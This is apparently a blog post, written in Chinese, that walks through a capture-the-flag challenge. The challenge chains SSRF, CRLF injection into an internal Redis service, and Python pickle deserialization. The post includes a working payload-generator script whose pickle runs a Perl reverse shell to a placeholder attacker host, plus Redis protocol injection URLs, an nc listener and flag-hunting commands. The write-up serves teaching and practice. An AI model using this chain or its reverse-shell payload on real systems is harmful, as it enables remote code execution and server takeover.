【CTF】一道非常精彩的CTF题目之 SSRF + CRLF + Python反序列化组合漏洞利用

一、题目概述

题目提示: 还记得SSRF+CRLF+Python反序列化漏洞吗

难度等级: 中高级

涉及知识点:

  • SSRF(Server-Side Request Forgery)服务端请求伪造
  • CRLF(Carriage Return Line Feed)注入
  • Python Pickle反序列化漏洞
  • Redis未授权访问
  • Gopher协议利用

二、漏洞原理分析

2.1 SSRF漏洞原理

SSRF(服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用SSRF漏洞:

  • 探测内网端口和服务(如127.0.0.1)
  • 利用特殊协议(如gopher、file、dict)与内部服务交互
  • 绕过防火墙限制
  • 攻击内网其他服务

本题场景: 应用提供了"Web Page Fetch"功能,允许用户输入URL后由服务器直接访问该地址,这是典型的SSRF漏洞场景。

2.2 CRLF注入原理

CRLF(Carriage Return Line Feed,即\r\n)是HTTP协议中的换行符。在某些场景下,攻击者可以通过注入CRLF字符来:

  • 分割HTTP请求/响应
  • 构造恶意的协议命令
  • 绕过协议限制向Redis等服务发送命令

\r\n(CR+LF)在HTTP协议中用于分隔请求头,通过注入\r\n可以截断当前请求,插入新的请求内容。

URL编码中,%0D代表\r%0A代表\n

关键技巧: 使用双CRLF(%0D%0D%0A)可以更可靠地绕过某些过滤机制。

2.3 Python Pickle反序列化漏洞

Python的pickle模块用于对象序列化,但存在严重的安全风险。通过重写__reduce__方法,可以在反序列化时执行任意代码:

python 复制代码
class exp(dict):
    def __reduce__(self):
        # __reduce__ 方法在反序列化时会被自动调用
        # 可以返回一个可调用对象和参数元组
        cmd = "恶意命令"
        return (eval, ('__import__("os").system(%s) or {}' % repr(cmd),))

当服务端使用pickle.loads()加载攻击者控制的数据时,就会触发RCE。

原理说明:

  1. __reduce__方法定义了对象如何被序列化和反序列化
  2. 返回的元组(callable, args)会在反序列化时执行callable(*args)
  3. 利用eval函数可以执行任意Python代码
  4. __import__("os").system(cmd)执行系统命令
  5. or {}确保返回一个空字典,满足类型要求

2.4 Redis Session存储机制

许多Web应用使用Redis存储Session数据:

  • Session数据以键值对形式存储在Redis中
  • 通常格式为:session:{session_id} -> 序列化的Session数据
  • 如果Session数据使用Pickle序列化,则存在反序列化漏洞风险

三、攻击流程详解

3.1 初步侦查

访问目标实例,发现登录页面。随意输入用户名即可进入"Web Page Fetch"功能页面。

功能分析:

  • 接受用户输入的URL
  • 服务器端直接访问该URL
  • 存在明显的SSRF漏洞

3.2 端口扫描

利用Gopher协议配合BurpSuite进行内网端口探测。

Gopher协议特点:

  • 可以构造任意TCP数据包
  • 格式:gopher://host:port/_payload
  • 适合用于SSRF攻击内网服务

扫描结果: 发现6379端口开放Redis服务

3.3 构造恶意Pickle Payload

使用Python 2编写脚本生成恶意载荷:

python 复制代码
# coding: utf-8
import cPickle as cpickle
import urllib
import base64

class exp(dict):
    def __reduce__(self):
        # 使用Perl构造反弹shell
        cmd = """perl -e 'use Socket;$i="你的公网地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
        # eval执行命令后返回空字典
        return (eval, ('__import__("os").system(%s) or {}' % repr(cmd),))

e = exp()
pickle_payload = cpickle.dumps(e)

# Base64编码便于传输
base64_payload = base64.b64encode(pickle_payload)

session_key = 'session:1'

# 构造Redis SET命令(清空原有数据)
clear_cmd = '*3\r\n$3\r\nSET\r\n$9\r\n%s\r\n$0\r\n' % session_key

# 构造Redis APPEND命令(写入恶意payload)
append_cmd = '*3\r\n$6\r\nAPPEND\r\n$9\r\n%s\r\n$%d\r\n%s\r\n' % (session_key, len(base64_payload), base64_payload)

# 使用双CRLF技巧绕过过滤
base_url = 'http://127.0.0.1:6379/_%0D%0D%0A'

# 生成最终URL
clear_url = base_url + urllib.quote(clear_cmd)
append_url = base_url + urllib.quote(append_cmd)

print(clear_url)   # Payload 1: 清空session
print(append_url)  # Payload 2: 写入恶意数据

脚本解析:

  1. 恶意类定义: 创建继承自dict的exp类,重写__reduce__方法
  2. 反弹shell命令: 使用Perl one-liner构造反弹shell
  3. Pickle序列化: 将恶意对象序列化为二进制数据
  4. Base64编码: 避免特殊字符问题
  5. Redis协议构造:
    • *3 - 3个参数
    • $3 - 第一个参数长度为3
    • \r\n - 参数分隔符
  6. 双CRLF: 双CRLF%0D%0D%0A技巧绕过HTTP请求头限制

3.4 注入恶意Payload

步骤一:清空Redis中的session:1键

复制代码
访问第一个payload URL(clear_url)
作用:将session:1设置为空字符串

步骤二:写入恶意序列化数据

复制代码
访问第二个payload URL(append_url)
作用:将Base64编码的恶意Pickle数据追加到session:1

3.5 监听反弹Shell

在公网服务器上监听指定端口:

bash 复制代码
nc -lvnp 8889

参数说明:

  • -l - 监听模式
  • -v - 详细输出
  • -n - 不进行DNS解析
  • -p - 指定端口

3.6 触发反序列化

关键步骤:

  1. 打开浏览器开发者工具(F12)

  2. 找到Cookie中的session字段

  3. 将session值修改为1

  4. 刷新页面

触发原理:

  • 服务器收到请求后从Redis读取session:1
  • 对读取的数据进行Pickle反序列化
  • 触发__reduce__方法执行
  • 执行反弹shell命令

3.7 获取Flag

成功获得反弹shell后:

bash 复制代码
# 尝试查找flag文件
find / -name "flag*" 2>/dev/null
cat /flag

# 如果根目录没有flag,检查环境变量
env

最终结果: 在环境变量中找到flag


四、攻击链总结

复制代码
SSRF漏洞
    ↓
内网端口探测(Gopher协议)
    ↓
发现Redis服务(6379端口)
    ↓
CRLF注入 + Redis协议注入
    ↓
写入恶意Pickle序列化数据
    ↓
修改Session ID触发反序列化
    ↓
执行恶意代码(反弹shell)
    ↓
获取服务器权限
    ↓
读取Flag

五、关键技术点

5.1 Redis协议格式(RESP)

Redis使用RESP(REdis Serialization Protocol)协议:

复制代码
*<参数数量>
$<参数1长度>
<参数1内容>
$<参数2长度>
<参数2内容>
...

示例: SET session:1 "data"

复制代码
*3\r\n
$3\r\n
SET\r\n
$9\r\n
session:1\r\n
$4\r\n
data\r\n

5.2 Gopher协议在SSRF中的应用

Gopher协议格式:gopher://host:port/_payload

注意事项:

  1. payload需要URL编码
  2. \r\n需要编码为%0D%0A
  3. 下划线_后面的内容会被发送到目标端口

六、总结

这道题目非常精彩,但是有个疑问,为什么都能控制Redis了,不直接使用最经典的攻击方式------写入crontab任务计划。

因为在Ubuntu中,Redis通常以redis用户运行 ,redis用户的crontab位置:/var/spool/cron/crontabs/redis,该目录需要root权限才能写入。centos或许没有这个问题

相关推荐
YJlio5 小时前
1.7 通过 Sysinternals Live 在线运行工具:不下载也能用的“云端工具箱”
c语言·网络·python·数码相机·ios·django·iphone
l1t5 小时前
在wsl的python 3.14.3容器中使用databend包
开发语言·数据库·python·databend
山塘小鱼儿7 小时前
本地Ollama+Agent+LangGraph+LangSmith运行
python·langchain·ollama·langgraph·langsimth
码说AI7 小时前
python快速绘制走势图对比曲线
开发语言·python
wait_luky7 小时前
python作业3
开发语言·python
Python大数据分析@8 小时前
tkinter可以做出多复杂的界面?
python·microsoft
大黄说说8 小时前
新手选语言不再纠结:Java、Python、Go、JavaScript 四大热门语言全景对比与学习路线建议
java·python·golang
小小张说故事9 小时前
SQLAlchemy 技术入门指南
后端·python
我是章汕呐9 小时前
拆解Libvio.link爬虫:从动态页面到反爬对抗的实战解析
爬虫·python